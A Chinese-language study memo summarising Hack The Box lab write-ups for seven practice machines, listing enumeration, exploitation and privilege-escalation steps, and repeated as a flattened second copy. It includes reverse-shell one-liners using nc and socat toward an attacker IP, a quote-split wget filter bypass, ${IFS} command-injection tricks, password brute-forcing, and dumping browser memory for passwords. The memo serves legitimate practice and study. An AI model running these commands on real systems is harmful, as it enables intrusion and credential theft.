《0xrick's Write-ups for hack-the-box》学习备忘录(1)
字数 4825 2025-08-25 22:58:29

《0xrick's Write-ups for hack-the-box》渗透测试技术总结

一、AI环境渗透

环境概述:Linux系统,中等难度,30分钟完成时间

渗透流程

  1. Nmap扫描
  2. Web目录枚举
  3. SQL注入获取Alexa凭证
  4. 通过SSH登录Alexa账户
  5. 获取用户Flag
  6. 利用JDWP漏洞
  7. 代码执行获取Root Shell
  8. 获取Root Flag

关键技术点

  • Nmap扫描:使用-sC参数等价于--script=default,会调用已知端口的默认脚本
  • 目录枚举:使用gobuster工具:gobuster dir -u http://ai.htb/ -w /usr/share/wordlists/dirb/common.txt -x php
  • 音频文件处理
    • 文字转MP3:使用ttsmp3工具,支持中文
    • MP3转WAV:ffmpeg -i test.mp3 test.wav
  • Linux提权
    • 查看进程:ps aux
    • 查看网络服务:netstat -ntlp
    • 在Github搜索关键词查找exp

思考与扩展

  • 目录枚举替代工具:dirb、dirsearch、wfuzz
  • wfuzz类似于Burpsuite的intruder功能
  • SQL注入通过语音识别执行,场景新颖
  • 发现Apache Tomcat服务后,先评估利用价值,再深入研究Tomcat jdwp服务

二、Player环境渗透

环境概述:Linux系统,高难度,40分钟完成时间

渗透流程

  1. Nmap扫描
  2. Web目录枚举
  3. 利用FFmpeg HLS漏洞
  4. 任意文件读取
  5. 命令注入
  6. 获取用户Flag
  7. 从fix.php获取凭证
  8. 远程代码执行
  9. 获取www-data Shell
  10. 获取Root Flag

关键技术点

  • 子域名枚举wfuzz --hc 403 -c -w subdomains-top1mil-5000.txt -H "HOST: FUZZ.player.htb" http://10.10.10.145
  • 文件泄露:关注.swp、.bak和~文件
  • 端口扫描:使用masscan:masscan -p1-65535 10.10.10.145 --rate=1000 -e tun0
  • Banner头泄露:使用nc查看服务信息:nc ip port
  • TTY伪终端python -c "import pty;pty.spawn('/bin/bash')"

思考与扩展

  • 使用Burpsuite或ZAP记录请求历史,避免遗漏重定向
  • .php.swp文件是vi/vim异常退出产生的,可用vi -r恢复
  • TTY交互式终端设置:
    • 监听端:socat file:tty,raw,echo=0 tcp-listen:4444
    • 目标端:socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:1xx.xxx.xxx.xxx:4444
  • Linux提权:审计以root权限运行的PHP/Python程序,寻找文件包含或命令执行漏洞

三、Bitlab环境渗透

环境概述:Linux系统,中等难度,30分钟完成时间

渗透流程

  1. Nmap扫描
  2. Web目录枚举
  3. 文件上传漏洞利用
  4. 远程代码执行获取www-data Shell
  5. 数据库访问
  6. 获取Clave密码
  7. SSH登录Clave账户
  8. 获取用户Flag
  9. 逆向分析RemoteConnection.exe
  10. 获取root密码
  11. SSH登录root账户
  12. 获取Root Flag

关键技术点

  • 信息泄露
    • robots.txt泄露大量disallow路径
    • 检查HTML源代码和JS代码
  • 数据库工具
    • PostgreSQL自带命令行工具psql
    • 可使用各种编程语言的数据库连接函数
  • 文件传输scp clave@bitlab.htb:/home/clave/RemoteConnection.exe ./

思考与扩展

  • Nmap扫描建议使用-A参数获取全面信息
  • 授权测试中可利用Github搜索获取代码信息
  • 文件搜索技巧:
    • Windows:findstr /si password *.xml *.ini *.txt
    • Linux:grep -r "password" /path
  • 数据库管理工具:adminer支持多种数据库
  • URL格式:postgres://user:pass@host.com:5432/path?k=v#f
  • 逆向前先用strings匹配关键字

四、Craft环境渗透

环境概述:Linux系统,中等难度,30分钟完成时间

渗透流程

  1. Nmap扫描
  2. Web目录枚举
  3. 远程代码执行
  4. 获取Docker容器Shell
  5. 获取Gilfoyle的Gogs凭证
  6. SSH密钥利用
  7. SSH登录Gilfoyle账户
  8. 获取用户Flag
  9. 利用Vault工具
  10. 获取一次性SSH密码
  11. SSH登录root账户
  12. 获取Root Flag

关键技术点

  • 版本控制:检查Git提交记录(Commit History)
  • API利用:根据API文档构造请求
  • 反弹Shellrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip port >/tmp/f
  • Python EXP编写:使用subprocess.Popen实现nc监听
  • 环境识别:检查/.dockerenv文件判断Docker环境
  • SSH密钥登录ssh -i private.key user@host
  • 信息搜集:关注用户家目录下的.xxx配置文件

思考与扩展

  • 版本控制工具还包括SVN
  • 使用searchcode搜索开源代码库
  • 环境识别方法:
    • Linux:cat /etc/*release
    • Docker:ip a查看网络接口
  • 文件查找:ls -lat按时间排序

五、Smasher2环境渗透

环境概述:Linux系统,极高难度,50分钟完成时间

渗透流程

  1. Nmap扫描
  2. DNS信息收集
  3. Web目录枚举
  4. 分析auth.py
  5. 分析session.so
  6. 认证绕过
  7. WAF绕过
  8. 远程代码执行获取dzonerzy Shell
  9. 获取Root Flag
  10. 分析dhid.ko
  11. 利用dhid.ko漏洞
  12. 获取Root Shell
  13. 获取Root Flag

关键技术点

  • DNS域传送漏洞dig axfr smasher2.htb @10.10.10.135
  • 文件对比diff getinternalusr getinternalpwd
  • WAF绕过:使用单引号分隔字符:'w'g'e't 'h't't'p':'/'/'1'0'.'1'0'.'x'x'.'x'x'/'t'e's't'
  • SSH密钥登录:上传公钥到~/.ssh/authorized_keys并设置权限chmod 600
  • 日志检查/var/log/目录

思考与扩展

  • 域传送漏洞利用步骤:
    1. 获取NS记录:dig +nostats +nocomments +nocmd NS smasher2.htb
    2. 列出DNS记录:ls -d smasher2.htb
  • DNS服务标准端口:53/tcp和53/udp
    • 递归解析使用UDP
    • 区域传输使用TCP

六、Wall环境渗透

环境概述:Linux系统,中等难度,30分钟完成时间

渗透流程

  1. Nmap扫描
  2. Web目录枚举
  3. 远程代码执行
  4. WAF绕过
  5. 获取www-data Shell
  6. 利用Screen 4.5.0漏洞
  7. 获取Root Shell
  8. 获取用户和Root Flag

关键技术点

  • 目录枚举:gobuster发现隐藏目录
  • Web认证绕过:将GET请求改为POST绕过认证
  • 密码爆破wfuzz -c -X POST -d "username=admin&password=FUZZ" -w ./darkweb2017-top10000.txt http://wall.htb/centreon/api/index.php?action=authenticate
  • Getshell:Centreon 19.04存在RCE漏洞
  • WAF绕过:空格替换为${IFS}
  • Linux提权:利用SUID权限的screen工具
    • 编译exp:gcc -fPIC -shared -ldl -o libhax.so libhax.c
  • umask设置umask 000取消所有掩码

思考与扩展

  • Apache Basic Auth爆破:
    • 请求头包含Authorization: Basic base64(用户名:密码)
    • 使用Burpsuite的intruder模块爆破
  • Bypass Exec技巧:${IFS}<>重定向符、{,}格式包裹
  • SUID提权检查:find / -user root -perm -4000 -print 2>/dev/null
  • 参考gtfobins工具判断可提权程序

七、Heist环境渗透

环境概述:Windows系统,简单难度,20分钟完成时间

渗透流程

  1. Nmap扫描
  2. Web目录枚举
  3. 枚举用户
  4. 获取Chase账户Shell
  5. 获取用户Flag
  6. 从Firefox进程内存转储获取管理员密码
  7. 获取Administrator Shell
  8. 获取Root Flag

关键技术点

  • SMB匿名登录测试smbclient --list //heist.htb/ -U ""
  • 密码破解
    • Cisco Hash在线破解
    • 使用john:john --wordlist=/usr/share/wordlists/rockyou.txt ./hash.txt
  • 信息搜集
    • 使用impacket的lookupsid.py:lookupsid.py hazard:stealth1agent@heist.htb
    • 使用evil-winrm进行Windows远程管理
  • 进程内存转储:使用procdump.exe:.\procdump64.exe -accepteula -ma 4980
  • 关键字搜索
    • 使用strings.exe:cmd /c "strings64.exe -accepteula firefox.exe_191129_211531.dmp > firefox.exe_191129_211531.txt"
    • 使用findstr:findstr "password" ./firefox.exe_191129_211531.txt

思考与扩展

  • 密码破解工具:hashcat、Hydra
  • 信息搜集是关键,收集所有可能的用户、密码和可疑字符串
  • 进程内存分析可发现意外信息
  • 微软官方procdump.exe在白名单环境中很实用

通用渗透技巧总结

  1. 信息收集

    • 全面扫描:Nmap、masscan
    • 子域名枚举:wfuzz、dig
    • 目录/文件枚举:gobuster、dirsearch
    • 版本控制检查:Git、SVN记录
  2. 漏洞利用

    • 关注已知漏洞:searchsploit
    • WAF绕过技巧:字符分隔、编码转换
    • API接口分析:根据文档构造请求
  3. 权限提升

    • 查找SUID程序
    • 分析root运行的服务
    • 检查用户配置文件和历史记录
  4. 工具使用

    • 文件传输:scp、wget
    • 密码破解:john、hashcat
    • 进程分析:procdump、strings
  5. 环境识别

    • 操作系统识别
    • 容器环境判断
    • 服务版本确认

通过系统性地应用这些技术和工具,可以有效地进行渗透测试和安全评估。

《0xrick's Write-ups for hack-the-box》渗透测试技术总结 一、AI环境渗透 环境概述 :Linux系统,中等难度,30分钟完成时间 渗透流程 : Nmap扫描 Web目录枚举 SQL注入获取Alexa凭证 通过SSH登录Alexa账户 获取用户Flag 利用JDWP漏洞 代码执行获取Root Shell 获取Root Flag 关键技术点 : Nmap扫描 :使用 -sC 参数等价于 --script=default ,会调用已知端口的默认脚本 目录枚举 :使用gobuster工具: gobuster dir -u http://ai.htb/ -w /usr/share/wordlists/dirb/common.txt -x php 音频文件处理 : 文字转MP3:使用ttsmp3工具,支持中文 MP3转WAV: ffmpeg -i test.mp3 test.wav Linux提权 : 查看进程: ps aux 查看网络服务: netstat -ntlp 在Github搜索关键词查找exp 思考与扩展 : 目录枚举替代工具:dirb、dirsearch、wfuzz wfuzz类似于Burpsuite的intruder功能 SQL注入通过语音识别执行,场景新颖 发现Apache Tomcat服务后,先评估利用价值,再深入研究Tomcat jdwp服务 二、Player环境渗透 环境概述 :Linux系统,高难度,40分钟完成时间 渗透流程 : Nmap扫描 Web目录枚举 利用FFmpeg HLS漏洞 任意文件读取 命令注入 获取用户Flag 从fix.php获取凭证 远程代码执行 获取www-data Shell 获取Root Flag 关键技术点 : 子域名枚举 : wfuzz --hc 403 -c -w subdomains-top1mil-5000.txt -H "HOST: FUZZ.player.htb" http://10.10.10.145 文件泄露 :关注.swp、.bak和~文件 端口扫描 :使用masscan: masscan -p1-65535 10.10.10.145 --rate=1000 -e tun0 Banner头泄露 :使用nc查看服务信息: nc ip port TTY伪终端 : python -c "import pty;pty.spawn('/bin/bash')" 思考与扩展 : 使用Burpsuite或ZAP记录请求历史,避免遗漏重定向 .php.swp文件是vi/vim异常退出产生的,可用 vi -r 恢复 TTY交互式终端设置: 监听端: socat file: tty ,raw,echo=0 tcp-listen:4444 目标端: socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:1xx.xxx.xxx.xxx:4444 Linux提权:审计以root权限运行的PHP/Python程序,寻找文件包含或命令执行漏洞 三、Bitlab环境渗透 环境概述 :Linux系统,中等难度,30分钟完成时间 渗透流程 : Nmap扫描 Web目录枚举 文件上传漏洞利用 远程代码执行获取www-data Shell 数据库访问 获取Clave密码 SSH登录Clave账户 获取用户Flag 逆向分析RemoteConnection.exe 获取root密码 SSH登录root账户 获取Root Flag 关键技术点 : 信息泄露 : robots.txt泄露大量disallow路径 检查HTML源代码和JS代码 数据库工具 : PostgreSQL自带命令行工具psql 可使用各种编程语言的数据库连接函数 文件传输 : scp clave@bitlab.htb:/home/clave/RemoteConnection.exe ./ 思考与扩展 : Nmap扫描建议使用 -A 参数获取全面信息 授权测试中可利用Github搜索获取代码信息 文件搜索技巧: Windows: findstr /si password *.xml *.ini *.txt Linux: grep -r "password" /path 数据库管理工具:adminer支持多种数据库 URL格式: postgres://user:pass@host.com:5432/path?k=v#f 逆向前先用strings匹配关键字 四、Craft环境渗透 环境概述 :Linux系统,中等难度,30分钟完成时间 渗透流程 : Nmap扫描 Web目录枚举 远程代码执行 获取Docker容器Shell 获取Gilfoyle的Gogs凭证 SSH密钥利用 SSH登录Gilfoyle账户 获取用户Flag 利用Vault工具 获取一次性SSH密码 SSH登录root账户 获取Root Flag 关键技术点 : 版本控制 :检查Git提交记录(Commit History) API利用 :根据API文档构造请求 反弹Shell : rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip port >/tmp/f Python EXP编写 :使用subprocess.Popen实现nc监听 环境识别 :检查 /.dockerenv 文件判断Docker环境 SSH密钥登录 : ssh -i private.key user@host 信息搜集 :关注用户家目录下的.xxx配置文件 思考与扩展 : 版本控制工具还包括SVN 使用searchcode搜索开源代码库 环境识别方法: Linux: cat /etc/*release Docker: ip a 查看网络接口 文件查找: ls -lat 按时间排序 五、Smasher2环境渗透 环境概述 :Linux系统,极高难度,50分钟完成时间 渗透流程 : Nmap扫描 DNS信息收集 Web目录枚举 分析auth.py 分析session.so 认证绕过 WAF绕过 远程代码执行获取dzonerzy Shell 获取Root Flag 分析dhid.ko 利用dhid.ko漏洞 获取Root Shell 获取Root Flag 关键技术点 : DNS域传送漏洞 : dig axfr smasher2.htb @10.10.10.135 文件对比 : diff getinternalusr getinternalpwd WAF绕过 :使用单引号分隔字符: 'w'g'e't 'h't't'p':'/'/'1'0'.'1'0'.'x'x'.'x'x'/'t'e's't' SSH密钥登录 :上传公钥到 ~/.ssh/authorized_keys 并设置权限 chmod 600 日志检查 : /var/log/ 目录 思考与扩展 : 域传送漏洞利用步骤: 获取NS记录: dig +nostats +nocomments +nocmd NS smasher2.htb 列出DNS记录: ls -d smasher2.htb DNS服务标准端口:53/tcp和53/udp 递归解析使用UDP 区域传输使用TCP 六、Wall环境渗透 环境概述 :Linux系统,中等难度,30分钟完成时间 渗透流程 : Nmap扫描 Web目录枚举 远程代码执行 WAF绕过 获取www-data Shell 利用Screen 4.5.0漏洞 获取Root Shell 获取用户和Root Flag 关键技术点 : 目录枚举 :gobuster发现隐藏目录 Web认证绕过 :将GET请求改为POST绕过认证 密码爆破 : wfuzz -c -X POST -d "username=admin&password=FUZZ" -w ./darkweb2017-top10000.txt http://wall.htb/centreon/api/index.php?action=authenticate Getshell :Centreon 19.04存在RCE漏洞 WAF绕过 :空格替换为 ${IFS} Linux提权 :利用SUID权限的screen工具 编译exp: gcc -fPIC -shared -ldl -o libhax.so libhax.c umask设置 : umask 000 取消所有掩码 思考与扩展 : Apache Basic Auth爆破: 请求头包含 Authorization: Basic base64(用户名:密码) 使用Burpsuite的intruder模块爆破 Bypass Exec技巧: ${IFS} 、 <> 重定向符、 {,} 格式包裹 SUID提权检查: find / -user root -perm -4000 -print 2>/dev/null 参考gtfobins工具判断可提权程序 七、Heist环境渗透 环境概述 :Windows系统,简单难度,20分钟完成时间 渗透流程 : Nmap扫描 Web目录枚举 枚举用户 获取Chase账户Shell 获取用户Flag 从Firefox进程内存转储获取管理员密码 获取Administrator Shell 获取Root Flag 关键技术点 : SMB匿名登录测试 : smbclient --list //heist.htb/ -U "" 密码破解 : Cisco Hash在线破解 使用john: john --wordlist=/usr/share/wordlists/rockyou.txt ./hash.txt 信息搜集 : 使用impacket的lookupsid.py: lookupsid.py hazard:stealth1agent@heist.htb 使用evil-winrm进行Windows远程管理 进程内存转储 :使用procdump.exe: .\procdump64.exe -accepteula -ma 4980 关键字搜索 : 使用strings.exe: cmd /c "strings64.exe -accepteula firefox.exe_191129_211531.dmp > firefox.exe_191129_211531.txt" 使用findstr: findstr "password" ./firefox.exe_191129_211531.txt 思考与扩展 : 密码破解工具:hashcat、Hydra 信息搜集是关键,收集所有可能的用户、密码和可疑字符串 进程内存分析可发现意外信息 微软官方procdump.exe在白名单环境中很实用 通用渗透技巧总结 信息收集 : 全面扫描:Nmap、masscan 子域名枚举:wfuzz、dig 目录/文件枚举:gobuster、dirsearch 版本控制检查:Git、SVN记录 漏洞利用 : 关注已知漏洞:searchsploit WAF绕过技巧:字符分隔、编码转换 API接口分析:根据文档构造请求 权限提升 : 查找SUID程序 分析root运行的服务 检查用户配置文件和历史记录 工具使用 : 文件传输:scp、wget 密码破解:john、hashcat 进程分析:procdump、strings 环境识别 : 操作系统识别 容器环境判断 服务版本确认 通过系统性地应用这些技术和工具,可以有效地进行渗透测试和安全评估。